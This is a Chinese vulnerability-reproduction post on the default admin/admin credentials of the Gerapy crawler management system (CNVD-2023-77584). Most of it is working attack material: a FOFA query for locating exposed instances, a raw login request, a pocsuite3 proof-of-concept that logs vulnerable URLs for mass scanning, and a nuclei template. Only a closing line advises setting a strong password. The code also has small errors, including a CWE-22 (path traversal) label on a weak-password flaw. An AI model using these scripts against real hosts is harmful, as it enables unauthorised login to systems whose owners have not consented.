【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

- 友好的Web界面：Gerapy提供了直观易用的Web界面，使得爬虫的管理和监控变得简单和方便。- 多用户支持：Gerapy支持多用户管理，可以为不同的用户分配不同的权限和角色。- 分布式部署：Gerapy支持将爬虫项目部署到多台机器上，实现分布式爬虫的开发和运行。- 定时任务调度：Gerapy内置了定时任务调度功能，可以方便地设置爬虫任务的执行时间和频率。- 实时监控和日志查看：Gerapy提供了实时监控和日志查看功能，可以随时查看爬虫任务的运行状态和日志信息。

所有版本

fofa：title="Gerapy"

POST /api/user/auth HTTP/1.1Host: www.mdsec.com:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Content-Length: 39DNT: 1Connection: close{"username":"admin","password":"admin"} 

#!/usr/bin/python3#-*- coding: UTF-8 -*-#Author: MDSECfrom pocsuite3.api import requestsfrom pocsuite3.api import register_pocfrom pocsuite3.api import Output, POCBase, loggerimport sslssl._create_default_https_context = ssl._create_unverified_contextclass gerapy_weakPass_POC(POCBase):vulevel = '2.0'version = '1.0'vulID = "CNVD-2023-77584"author = ['MDSEC']vulDate = '2021-10-28'createDate = '2021-11-30'updateDate = '2021-11-30'references = 'All'name = 'Gerapy存在弱口令漏洞'appPowerLink = 'https://github.com/Gerapy/Gerapy'appName = 'Gerapy'appVersion = 'All'vulType = 'weakpass'desc = '''Gerapy存在弱口令'''def _verify(self):result = {}path = "/api/user/auth"vuln_url = self.url.strip("/") + pathdata = {"username": "admin","password": "admin"}try:respon = requests.post(url=vuln_url, data=data, verify=False, timeout=3)if respon.status_code == 200 and '"token":' in respon.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlwith open(__file__.replace('.py', '.txt'), 'a+') as f:f.write(self.url + 'n')f.close()else:logger.error(f"connect target '{self.url} not vulnable!'")except Exception and TimeoutError and RuntimeError:logger.error(f"connect target '{self.url} failed!'")return self.parse_attack(result)def _attack(self):result = {}path = "/api/user/auth"vuln_url = self.url.strip("/") + pathdata = {"username": "admin","password": "admin"}try:respon = requests.post(url=vuln_url, data=data, verify=False, timeout=3)if respon.status_code == 200 and '"token":' in respon.text:result['GetInfo'] = {}result['GetInfo']['username'] = "admin"result['GetInfo']['password'] = "admin"result['GetInfo']['URL'] = self.urlexcept Exception and TimeoutError:logger.error(f"connect target '{self.url} failed!'")return self.parse_attack(result)def parse_attack(self, result):output = Output(self)if result:output.success(result)else:output.fail('Internet nothing returned')return outputregister_poc(gerapy_weakPass_POC)

id: gerapy-admin-weakpass-CNVD-2023-77584info:name: gerapy爬虫管理系统admin弱口令author: MDSECseverity: mediumdescription: Gerapy是一个开源的分布式爬虫管理系统，用于帮助开发人员和数据分析师高效地管理和运行爬虫任务。Gerapy爬虫管理系统存在弱口令，攻击者可直接登录后台，获取WEB登录权限（CNVD公开日期：2023-11-30）。reference:- https://www.cnvd.org.cn/flaw/show/CNVD-2023-77584- https://blog.csdn.net/qq_41490561classification:cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Ncvss-score: 6.5cwe-id: CWE-22metadata:max-request: 1fofa-query: ""sqlmaps: ""tags: gerapy,weakpasshttp:- raw:- |@timeout: 10sGET / HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestDnt: 1Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: close- |@timeout: 10sPOST /api/user/auth HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonContent-Length: 39DNT: 1Connection: close{"username":"admin","password":"admin"}matchers-condition: andmatchers:- type: dsldsl:- 'contains(body_1, "<title>Gerapy</title>")'- 'status_code_1 == 200'condition: and- type: dsldsl:- "contains(body_2, 'token')"- "contains(header_2, 'application/json')"- 'status_code_2 == 200'condition: and  

建议修改为强口令